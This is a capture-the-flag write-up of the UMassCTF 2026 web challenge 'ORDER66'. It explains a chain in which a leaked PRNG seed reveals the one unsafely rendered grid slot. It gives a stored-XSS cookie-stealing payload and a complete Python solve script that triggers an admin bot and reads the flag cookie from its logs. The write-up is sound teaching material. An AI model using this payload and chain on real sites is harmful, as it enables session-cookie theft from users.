← Back to Writeups
CUSTOMMediumWeb

ORDER66

XESXOR9/10/20266 min read
#web#custom#medium#admin_bot_console_exfiltration#predictable_prng_reconstructio#share_url_seed_leak#stored_xss_cookie_theft

ORDER66

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: admin_bot_console_exfiltration, predictable_prng_reconstruction, share_url_seed_leak, stored_xss_cookie_theft

Summary

Walkthrough of the CUSTOM Web ORDER66. Task: a Flask grid stores one user-controlled value per session in Redis, but only one order slot is rendered unsafely and its index is derived from a leaked PRNG seed. Solution: recover the unsafe sl


title: "ORDER66" id: 20260411_umasscybersec_order66 category: web difficulty: medium event: umasscybersec tags: ["flask", "stored_xss", "admin_bot", "redis", "puppeteer", "non_httponly_cookie", "predictable_prng"] techniques: ["admin_bot_console_exfiltration", "predictable_prng_reconstruction", "share_url_seed_leak", "stored_xss_cookie_theft"] tools: ["python3", "requests"] indicators: ["exactly one reflected/stored slot is rendered with |safe while the others are escaped", "the application leaks a stable uid plus seed in a share URL such as /view/<uid>/<seed>", "the vulnerable slot is chosen with Python random seeded from attacker-visible data", "the admin bot sets a non-httpOnly flag cookie and forwards console.log output"]

ORDER66 — UMassCTF 2026

Summary

This challenge is a compact stored XSS bot chain with one extra twist: execution order matters. The title is the hint. There are 66 possible order slots, but only one is rendered with Jinja's |safe, and the application leaks enough state to predict exactly which slot that is.

Once the unsafe slot is known, the rest of the attack is straightforward:

  1. store <script>console.log(document.cookie)</script> in the one unsafe box,
  2. send the admin bot to the shared /view/<uid>/<seed> URL,
  3. let the bot execute the stored XSS,
  4. steal the flag cookie because it is explicitly set with httpOnly: false,
  5. read it back because /admin/visit returns Puppeteer's stdout.

Description

Execute Order... wait which one was it?

The page presents a 66-cell grid where only one box may contain data at a time. A share URL is exposed for the current session, and an admin bot can be asked to visit a supplied page.

Source Analysis

Flask application

app.py assigns each visitor a user_id and a numeric seed in the session. The important helper is:

python
def get_grid_context(uid, seed):
    random.seed(seed)
    v_index = random.randint(1, 66)
    data = {i: (db.get(f"{uid}:box_{i}") or "") for i in range(1, 67)}
    return data, v_index

So the dangerous slot is not random per render in any strong sense. It is fully determined by the leaked seed.

The main page also leaks a share URL directly in the HTML:

html
value="http://{{ host }}/view/{{ user_id }}/{{ seed }}"

That is enough to recover both values needed to recompute the vulnerable index locally.

Template sink

templates/index.html is where the bug lives:

html
{% if i == vuln_index %}
    {{ content | safe }}
{% else %}
    {{ content }}
{% endif %}

Only one box is unsafe. Every other box is escaped. That means blind spraying is unreliable, and the intended solve is to determine the exact unsafe slot first.

Seed persistence behavior

After a POST, the app preserves the current seed only if the currently vulnerable box still contains something that looks like a script payload:

python
is_payload_present = "<script" in current_content.lower() or "alert(" in current_content.lower()
...
if not is_payload_present:
    session['seed'] = random.randint(1000, 9999)
else:
    session['seed'] = current_seed

This behavior rewards placing the payload into the correct slot immediately. If the payload is stored in the vulnerable box, the seed remains stable and the share URL keeps pointing at the same unsafe index.

Admin bot

/admin/visit accepts a URL, rewrites its hostname to the internal Docker service, extracts the last two path components as uid and seed, recomputes the vulnerable index, and launches the Puppeteer bot.

The key feature in app.js is the cookie setup plus console forwarding:

javascript
page.on('console', msg => console.log(msg.text()));

await page.setCookie({
    name: 'flag',
    value: FLAG,
    domain: parsedUrl.hostname,
    path: '/',
    httpOnly: false,
    secure: false,
    sameSite: 'Lax'
});

That gives the attacker exactly what they want:

  • JavaScript can read document.cookie.
  • console.log() output is printed server-side.
  • /admin/visit returns process.stdout directly in the HTTP response.

Vulnerability

The exploit chain is the combination of four issues:

  1. Stored XSS sink in exactly one grid cell via {{ content | safe }}.
  2. Predictable slot selection because the unsafe index is random.Random(seed).randint(1, 66).
  3. Seed disclosure because /view/<uid>/<seed> is shown to the user.
  4. Cookie exfiltration through bot logs because the bot sets a non-httpOnly flag cookie and exposes console.log output.

Individually these look small, but together they form a clean intended chain. The main trick is realizing that the title is literal: only the correct order number executes.

Exploitation

Step 1: Request the main page and extract the share URL

The first GET gives us HTML containing:

text
/view/<uid>/<seed>

Those values are attacker-controlled enough for our purposes because /view accepts arbitrary uid and seed, and the application itself reveals both for our own session.

Step 2: Recompute the unsafe slot locally

Because the app uses Python's PRNG seeded with that visible integer, we can reproduce the selection exactly:

python
idx = random.Random(int(seed)).randint(1, 66)

Now we know which one of the 66 boxes is rendered with |safe.

Step 3: Store XSS in the correct box

The POST endpoint allows exactly one non-empty box, which fits the challenge theme perfectly. We submit:

html
<script>console.log(document.cookie)</script>

into box_<idx>.

Because the payload sits in the vulnerable slot, the seed remains unchanged and the shared /view/<uid>/<seed> link continues to target the same unsafe cell.

Step 4: Send the admin bot to the shared page

We then POST the original shared URL to /admin/visit.

The server rewrites the hostname internally, but it still visits the page corresponding to our uid and seed. The bot sets the flag cookie before navigation, so when the page loads our stored JavaScript runs in the correct origin and reads document.cookie.

Step 5: Read the flag from the visit response

Since the bot forwards console events to stdout and /admin/visit returns stdout directly, the HTTP response includes the cookie contents. The successful response contained:

text
flag=UMASS{REDACTED}

There were extra unrelated log lines in the same response, but the flag cookie value was the only part that mattered.

Reproduction

python
#!/usr/bin/env python3
import random
import re

import requests

BASE = "http://order66.web.ctf.umasscybersec.org:32768"
PAYLOAD = "<script>console.log(document.cookie)</script>"


def main():
    s = requests.Session()

    r = s.get(f"{BASE}/")
    r.raise_for_status()

    match = re.search(r"/view/([0-9a-f-]+)/(\d+)", r.text)
    if not match:
        raise RuntimeError("share URL not found")

    uid, seed = match.groups()
    seed = int(seed)
    idx = random.Random(seed).randint(1, 66)

    post = s.post(f"{BASE}/", data={f"box_{idx}": PAYLOAD})
    post.raise_for_status()

    visit = s.post(
        f"{BASE}/admin/visit",
        data={"target_url": f"http://order66.web.ctf.umasscybersec.org:32768/view/{uid}/{seed}"},
    )
    visit.raise_for_status()
    print(visit.text)


if __name__ == "__main__":
    main()

Expected result in the response body:

text
flag=UMASS{REDACTED}

Key Takeaways / Lessons

  • Mastering admin_bot_console_exfiltration, predictable_prng_reconstruction, share_url_seed_leak, stored_xss_cookie_theft was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-04-11 • CUSTOM • ORDER66 • Difficulty: Medium